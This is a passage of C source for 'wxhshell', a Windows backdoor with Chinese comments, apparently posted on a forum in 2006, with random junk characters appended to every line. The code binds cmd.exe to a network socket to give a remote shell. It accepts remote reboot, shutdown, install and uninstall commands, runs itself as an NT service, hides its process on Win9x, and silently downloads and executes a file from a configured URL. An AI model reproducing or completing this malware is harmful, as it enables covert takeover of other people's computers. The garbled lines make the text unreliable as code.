    switch(cmd[0]) { XPB9~::  
  :|o<SZ  
  // 帮助 E&Qi@Ty  
  case '?': { pj?XLiM54%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0?WcoPU  
    break; +h2eqNr  
  } -/ ]W+[  
  // 安装 t>B^q3\q?  
  case 'i': { c`x7u}C  
    if(Install()) ?j^=u:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]a2W e`  
    else C@N1ljXJT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_ =b<.;  
    break; e6=]m#O9  
    }  ]*O/+  
  // 卸载 ]CU]pK?nq  
  case 'r': { >r &;3:"  
    if(Uninstall()) 9;yn}\N `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 74<!&t  
    else 9;F bnp'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TwyM\9l7  
    break; 'gQidf  
    } EL3|u64GO  
  // 显示 wxhshell 所在路径 @v\*AYr'M  
  case 'p': { q.Nweu!jQ  
    char svExeFile[MAX_PATH]; tU"raP^ =  
    strcpy(svExeFile,"\n\r"); 4[ryKPa,  
      strcat(svExeFile,ExeFile); {%w!@-  
        send(wsh,svExeFile,strlen(svExeFile),0); o`khz{SU:  
    break; hVj NZ  
    } y80ykGPT\&  
  // 重启 _w@qr\4i=  
  case 'b': { "QoQ4r<|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3cj3u4y  
    if(Boot(REBOOT)) $ _8g8r}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hzI *{  
    else { <lr*ZSNY  
    closesocket(wsh); H7i$xWs  
    ExitThread(0); k {-  
    } k\Q ,h75  
    break; SM[Bv9|0  
    } HxK$4I`  
  // 关机 8\<jyJ  
  case 'd': { p}Fs'l?7Rq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wix5B@  
    if(Boot(SHUTDOWN)) VC5_v62&.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %tA57Pn>  
    else { uGdp@]z&8Q  
    closesocket(wsh); BiE08,nj  
    ExitThread(0); AvR2_  
    } _<ut)G^9  
    break; g%[n4  
    } t+CWeCp,  
  // 获取shell T5wjU*=IL  
  case 's': { Dc~,D1xWj  
    CmdShell(wsh); %/kyT%1  
    closesocket(wsh); G;gJNK"e  
    ExitThread(0); 4 ;Qlu  
    break; T~sTBGcv  
  } ]j>i.5  
  // 退出 OEdJc\n_R  
  case 'x': { ujW1+Oj=~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fpM #XFj  
    CloseIt(wsh); (_* wt]"'  
    break; A`O<6   
    } +.[\g|G  
  // 离开 _9:@Vl]Q@  
  case 'q': { xChI ,~i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `,wu}F85  
    closesocket(wsh); PXP`ZLF  
    WSACleanup(); ')+0nPV  
    exit(1); O?bK%P]ay  
    break;  &O[s:  
        } 7#;vG>]  
  } X fz`^x>M  
  } E04l|   
{TXOQ>gY  
  // 提示信息 $#o1MX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mxrG)n6Y  
} vUQFQ  
  } 7J>Gd  
eX&Gw{U-f  
  return; ~E4"}n[3A#  
} oN[Th  
>=ot8%.!,B  
// shell模块句柄 "$p#&W69"J  
int CmdShell(SOCKET sock) H;<!TX.zD  
{ HU B|bKy  
STARTUPINFO si; (.K\Jg'Y6j  
ZeroMemory(&si,sizeof(si)); YHxbDf dA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #nyv+x;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~#M d"3  
PROCESS_INFORMATION ProcessInfo; xu%'GZ,o9  
char cmdline[]="cmd"; KB{RU'?f|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vnX  
  return 0; Ex@`O+  
} tP ~zKU  
.M|>u_<Qd  
// 自身启动模式 f<[jwhCWV  
int StartFromService(void) i~=s^8n`l  
{ s #:%x#  
typedef struct c yQ(fIYl  
{ !J>A,D"-  
  DWORD ExitStatus; \hk/1/siyF  
  DWORD PebBaseAddress; }|8*sk#[  
  DWORD AffinityMask; g=]&A  
  DWORD BasePriority; g;F"7 ^sg  
  ULONG UniqueProcessId; ^<V9'Ut   
  ULONG InheritedFromUniqueProcessId; _|c&@M  
}   PROCESS_BASIC_INFORMATION; #S QXTR  
5#:pT  
PROCNTQSIP NtQueryInformationProcess; lH BI  
bk#xiuwT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fhp)S",  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RcY[rnI6  
T)u4S[ &  
  HANDLE             hProcess; $,1dQeE  
  PROCESS_BASIC_INFORMATION pbi; wV <7pi  
&R$Q\ ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kv|,b  
  if(NULL == hInst ) return 0; _ P ,@  
^,s?e.u$8`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g%J./F=@3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sn\;bq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  o sdOw8  
tR`S#rk  
  if (!NtQueryInformationProcess) return 0; #JNy  
gzfbzt}?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H9"=  p  
  if(!hProcess) return 0; oC dGQ7G}  
T@+ClZi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OS7R Qw1  
1 0N,?a  
  CloseHandle(hProcess); B< ;==|  
&a~=b,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jgx8-\ 8  
if(hProcess==NULL) return 0; D(Ix!G/  
3l:QeZ  
HMODULE hMod; B#N7qoi  
char procName[255]; vb=CFV#  
unsigned long cbNeeded; VZxTx0: ,  
Cyk s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y5TS>iEE]  
swr"k6;G  
  CloseHandle(hProcess); @6.]!U4w  
eqzTQen8q  
if(strstr(procName,"services")) return 1; // 以服务启动 = t+('  
_x\m|SF_g  
  return 0; // 注册表启动 qb7^VIo%c  
} k&Jo"[i&WO  
)LFD6\z1pl  
// 主模块 ??xlA-E  
int StartWxhshell(LPSTR lpCmdLine) t{(Mf2GR1  
{ 0<P(M:a  
  SOCKET wsl; g{ (@uzqG  
BOOL val=TRUE; ?iz <  
  int port=0; OhWC}s  
  struct sockaddr_in door; |$w*RI0C  
aPBX=;(  
  if(wscfg.ws_autoins) Install(); OXtBJYe  
B3b,F#  
port=atoi(lpCmdLine); `ut)+T V  
}brr ) )  
if(port<=0) port=wscfg.ws_port; _ VKgs]Y  
edN8-P(  
  WSADATA data; zeOb Aw1O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >}]H;& l  
U1\MA6pXW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HWtPLlNt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !LSs9_w  
  door.sin_family = AF_INET; Q_lu`F|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?[SVqj2-  
  door.sin_port = htons(port); ./iXyta  
9eSRCLhgD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /RF%1!M K  
closesocket(wsl); 1M+Zkak7p  
return 1; el Kx]%k*)  
} y9 uVCR  
i7v/A&Rc  
  if(listen(wsl,2) == INVALID_SOCKET) { ~= 9V v  
closesocket(wsl); 02M7gBS  
return 1; @,6ST0xT (  
} &wGg6$  
  Wxhshell(wsl); rt;gC[3\  
  WSACleanup(); vl~%o@*_  
)+B=z}:Nfz  
return 0; GMb!Q0I8  
W:B}u\)C  
} = o+7xom  
(-2R{! A  
// 以NT服务方式启动 }:^XX0:FK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KZ\dB;W< |  
{ sA2o2~AmM  
DWORD   status = 0; r%[1$mTOR  
  DWORD   specificError = 0xfffffff; 7-g^2sa'(  
"gg(tp45  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Su4h'&xx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G-8n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rgT%XhUS6f  
  serviceStatus.dwWin32ExitCode     = 0; n2;(1qr  
  serviceStatus.dwServiceSpecificExitCode = 0; PdjCv+R6?  
  serviceStatus.dwCheckPoint       = 0; jaa/k@OG  
  serviceStatus.dwWaitHint       = 0; 8l?w=)Qy  
/C7svH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ns~ g+C9  
  if (hServiceStatusHandle==0) return; G;9|%yvd8  
{.#j1r4J`  
status = GetLastError(); z (#Xca  
  if (status!=NO_ERROR) -&7=uRQk  
{ I$Eg$q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hLn&5jYHvt  
    serviceStatus.dwCheckPoint       = 0; #mTMt;x  
    serviceStatus.dwWaitHint       = 0; B{4"$Mi  
    serviceStatus.dwWin32ExitCode     = status; 5Q;dnC  
    serviceStatus.dwServiceSpecificExitCode = specificError; [wIKK/O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -g$O OJB6  
    return; _X?y ,#  
  } 7(5]Ry:  
yHtGp%j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8tC+ lc  
  serviceStatus.dwCheckPoint       = 0; 5D-BIPn=JV  
  serviceStatus.dwWaitHint       = 0; clC~2:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  3:"AFV  
} kFnUJM$r  
%IPyCEJD  
// 处理NT服务事件,比如:启动、停止 3liq9P_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a(g$ d2H  
{ |'@V<^GR  
switch(fdwControl) K.r!?cfv  
{ X`tOO  
case SERVICE_CONTROL_STOP: sFD!7 ;  
  serviceStatus.dwWin32ExitCode = 0; 6|i`@|#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d)9PEtI  
  serviceStatus.dwCheckPoint   = 0; v(k*A:  
  serviceStatus.dwWaitHint     = 0; r5Wkc$  
  { YBeZN98Nt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ju r1!rg%  
  } V3%Krn1'  
  return; kU>#1 He  
case SERVICE_CONTROL_PAUSE: @ikUM+A {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yh4jRe?f  
  break; W|~q<},j  
case SERVICE_CONTROL_CONTINUE: Z!k5"\{0pE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ,&4zKm  
  break; !__D}k,  
case SERVICE_CONTROL_INTERROGATE: @gY'YA8m  
  break; 0yKwH\S  
}; fg< ( bXC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +-'`Q Ae  
} |zg=+  
*di&%&f  
// 标准应用程序主函数 .;cxhgU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <&*#famX  
{ &boj$ k!g[  
{W]bU{%.  
// 获取操作系统版本 v5P*<U Ax  
OsIsNt=GetOsVer(); /1H9z`qV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rn[$x(G  
,WzG.3^m  
  // 从命令行安装 JIB?dIN 1  
  if(strpbrk(lpCmdLine,"iI")) Install(); qW+=g]x\  
HarYV :  
  // 下载执行文件 vRq=m8  
if(wscfg.ws_downexe) { [`cdlx?Eh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6MrZ6dz^  
  WinExec(wscfg.ws_filenam,SW_HIDE); #R5we3&p  
} ttTI#Fr2  
`\nON  
if(!OsIsNt) { 70d] d+M|  
// 如果时win9x,隐藏进程并且设置为注册表启动 b "`ru~]  
HideProc(); \=$EmHF  
StartWxhshell(lpCmdLine); zK[ 7:<  
} =I %g;YK  
else >2 FAi.,  
  if(StartFromService()) 6yy|V~5  
  // 以服务方式启动 <=#lRZW[z  
  StartServiceCtrlDispatcher(DispatchTable); )R8%wk?2  
else A!Knp=Gw  
  // 普通方式启动 "m wl-=  
  StartWxhshell(lpCmdLine); >SY 2LmV'a  
hwEZj`9  
return 0; (R9QBZP5  
}
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只看该作者 1 发表于: 2006-10-10
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